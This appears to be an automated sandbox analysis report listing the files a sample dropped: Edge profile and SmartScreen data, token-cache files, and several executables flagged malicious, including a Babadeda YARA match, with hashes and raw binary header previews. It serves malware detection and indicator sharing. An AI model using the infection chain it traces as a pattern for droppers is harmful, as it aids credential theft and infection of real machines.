SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWAdi1zNtPMikzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynk9kzItSmd6qE7lFoC
MD5:	2318744943B17D895B3CFAB07EEAA43D
SHA1:	0C036E0008471772D9ABC3450FBA314EC26F1682
SHA-256:	29A9F59089D5CA08B93ABFAA9490971734F929571D9FC3A6AF97FCA19BFCF06A
SHA-512:	37CCF44DA6DA70F412C8B1A02C1ADCFC81288F03C0DA5B6D8661F8F6C1242503805B92E23FA74078E311482054C76D4B98907D0461377EE4D012392F19177C90
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF5d8c3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089784608523331
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWAdi1zNtPMikzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynk9kzItSmd6qE7lFoC
MD5:	2318744943B17D895B3CFAB07EEAA43D
SHA1:	0C036E0008471772D9ABC3450FBA314EC26F1682
SHA-256:	29A9F59089D5CA08B93ABFAA9490971734F929571D9FC3A6AF97FCA19BFCF06A
SHA-512:	37CCF44DA6DA70F412C8B1A02C1ADCFC81288F03C0DA5B6D8661F8F6C1242503805B92E23FA74078E311482054C76D4B98907D0461377EE4D012392F19177C90
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	50
Entropy (8bit):	3.9904355005135823
Encrypted:	false
SSDEEP:	3:0xXF/XctY5GUf+:0RFeUf+
MD5:	E144AFBFB9EE10479AE2A9437D3FC9CA
SHA1:	5AAAC173107C688C06944D746394C21535B0514B
SHA-256:	EB28E8ED7C014F211BD81308853F407DF86AEBB5F80F8E4640C608CD772544C2
SHA-512:	837D15B3477C95D2D71391D677463A497D8D9FFBD7EB42E412DA262C9B5C82F22CE4338A0BEAA22C81A06ECA2DF7A9A98B7D61ECACE5F087912FD9BA7914AF3F
Malicious:	false
Preview:	topTraffic_170540185939602997400506234197983529371

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b9c0f26b-c49f-4345-94d3-6061a87dcc32.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45805
Entropy (8bit):	6.0918337820478285
Encrypted:	false
SSDEEP:	768:KDXzgWPsj/qlGJqIY8GB4xKByRi1zNtgYUGUH79BfDZXr1YZMKJDSgzMMd6qD47A:K/Ps+wsI7yOKG+m7RKtSmd6qE7lFov
MD5:	6806E91AB6ADCBCEA02B8714EE279239
SHA1:	067A199110960073B981666F51A89DD69933530A
SHA-256:	58F3EB7ECB3DD5D756CD75B209601FC79CC51319BE9E60ED6D6C1DA0E46D3ADD
SHA-512:	5E5A93E0E15B4A5FE7B9C786DB3034F25E1666F9A5D1EBCF8D1EBD9D4785F2BFEC1ADBBDAD5DFC6552F3825BE6C552D22630BBEA919DC5CDCABF699A26FCEF12
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13366456633874608","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJ

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c96c4c33-5c57-432d-be28-d9ad48c379fa.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089784608523331
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWAdi1zNtPMikzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynk9kzItSmd6qE7lFoC
MD5:	2318744943B17D895B3CFAB07EEAA43D
SHA1:	0C036E0008471772D9ABC3450FBA314EC26F1682
SHA-256:	29A9F59089D5CA08B93ABFAA9490971734F929571D9FC3A6AF97FCA19BFCF06A
SHA-512:	37CCF44DA6DA70F412C8B1A02C1ADCFC81288F03C0DA5B6D8661F8F6C1242503805B92E23FA74078E311482054C76D4B98907D0461377EE4D012392F19177C90
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ce8196a8-c810-4331-96dc-75a456bfa2dc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	47545
Entropy (8bit):	6.089621771234485
Encrypted:	false
SSDEEP:	768:pM7X2zt1jOXtXi3zahcKKEVi1zNtgYUGUHBBfDZXr1YZMtEqEMZ7+CioHJDSgzM7:pMSzMtXija+K7+mltIMx+FoHtSmd6qEV
MD5:	50803771789CE920741D60D08A3E9CBE
SHA1:	BF337DF737B56808AECCAE7FACD0069B1F8B3344
SHA-256:	AF9D931500AACCE8C850AB0C9BDC632970EB33D51B4521653A63797A9448B056
SHA-512:	453CDB4F2F6478523E948234F75829E13393DE36192425100AD0FBBD04544B28FC27E7AD3248E05319FAF76C7F63C98A56AD9712DA992D3BA0BE997BBBBCD2DB
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13366456633874608","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdK

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f9faf3e3-470b-4dd6-8523-2a113ffb78a9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	47545
Entropy (8bit):	6.089605239499812
Encrypted:	false
SSDEEP:	768:pM7X2zt1jOXtXi3zahcKKEVi1zNtgYUGUH79BfDZXr1YZMtEqEMZ7+CioHJDSgzm:pMSzMtXija+K7+m7RtIMx+FoHtSmd6qC
MD5:	637577A7A695BCF964EBD31057AB4F41
SHA1:	BFC62D1A62C8811B0B8BF509BD7733E76FE7C18E
SHA-256:	6B533BB31ED8DB108F513F4435493CBE6E5D79F74E9ED8D2F0F2C0865B1E3C54
SHA-512:	EA8220BE29A24DB62DA8B1EB811E01B0BC5EDB5A7D6CA9CC1A85F0B3B196388837F95B4BF2DCB5F3B44A5B003BEFB09033993E7018881A097A0622651C617243
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13366456633874608","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdK

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8394077181888777
Encrypted:	false
SSDEEP:	48:uiTrlKxrgx7xl9Il8ugAcS9XavRbnD1XbE7T7ckOImWs9MxQd1rc:mKYZcSlavRzpXMT7nFs9OH
MD5:	A956573FFD873B459B586F9945E734A7
SHA1:	F149310A222A8DB5C3D4F2BECF11D2F4F0274FED
SHA-256:	97BF371AD7F63B88162BE5EC7D3F6A94EC9B2B8AE799C449D9F6F5EA1DFCB833
SHA-512:	0BD5BA0EE5896844D2135987DF6959AF1E8D76CB36FC69C0659C377A39984E6B837D3A8E7C2B0D18D2EB21876415E5ACEF26095CD706E79C2452BBB9198B6939
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.B.6.x.a.T./.f.2.g.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.+.U.m.o.K.Y.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.001533457803021
Encrypted:	false
SSDEEP:	96:RYZcSlabqc5IIVtO27SCi4J7iJ/jBAaywo2+eS:RIljczfO332+/j9yn2y
MD5:	A4F9451C663513F724093DBF80344BE1
SHA1:	A36FB5A2EBCAD1C7EC9814A9CA91E0CA18E6F772
SHA-256:	6A7FDBD32B88866BFBD3C60600179746649C6424BF8BDAF48D227E325CF3D5CD
SHA-512:	472954537B87D2EED100C4CA3DD010609ECAC24736FB3A85F07F901B3080856ACD8C1F8D7A4892311E5CBC6E9AD4A392DDFA9A37FBE3343EB7CA0429575DF006
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".J.p.h.o.T.z.f.f.2.g.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.+.U.m.o.K.Y.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\enter[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1912832
Entropy (8bit):	7.950748761696472
Encrypted:	false
SSDEEP:	49152:DFEuNL8d5bf5BIm+Yu7jTAKTmwdFx38H:DFT85bRUY2VmiFx3W
MD5:	206643B224AE6BBD3DF9D3CA393B9E80
SHA1:	BDFDA63D6DEC9F2229A3DB520551B401A93F7F68
SHA-256:	1E67C7E3F86DF2093BE13351F75F6B35A322FD6019BAFF6B75251D8BEE29F346
SHA-512:	2E8FA732DE3AB0B2F0517DD3186DEBE3CFFD87B45D0D1B2FC1C95DB4DFD9FD999EBAB11E7897D3402AA163FB498803F44B098978133A83EA71D5FEF474FC1489
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....A.f..............................K...........@...........................K...........@.................................W...k.............................K...............................K..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...yaomedmc. ....1.....................@...ihlphrnj......K.....................@....taggant.0....K.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	91648
Entropy (8bit):	6.7537874000222
Encrypted:	false
SSDEEP:	1536:L7fPGykbOqjoHm4pICdfkLtAfupcWX50MxFY+yIOlnToIfcxjOq:Hq6+ouCpk2mpcWJ0r+QNTBfcn
MD5:	4D62ACEDF9A28EC051FF554A996BAD98
SHA1:	7E16CD6236F8B89994E3BDDC0228654C33935E08
SHA-256:	676EFAD1F84A514D0DB0E3AD79E7F9077B464EDDD5A0027F614CABB82B5F09F2
SHA-512:	8D3141A2D55AEB7C3C630B6D4F16BBBC8DCAC1C82C2B9C7FF1077B48AAFA6018042530EA9E2D528E984FF228A970C59E3E280C1E0801D4DA523E918DD448E2C8
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Babadeda, Description: Yara detected Babadeda, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...b.@]...............2.....V...............0....@.........................................................................\|q......................................................................................pt..,............................code....7.......8.................. ..`.text........P.......<.............. ..`.rdata...3...0...4..................@..@.data...,....p.......D..............@....rsrc................V..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
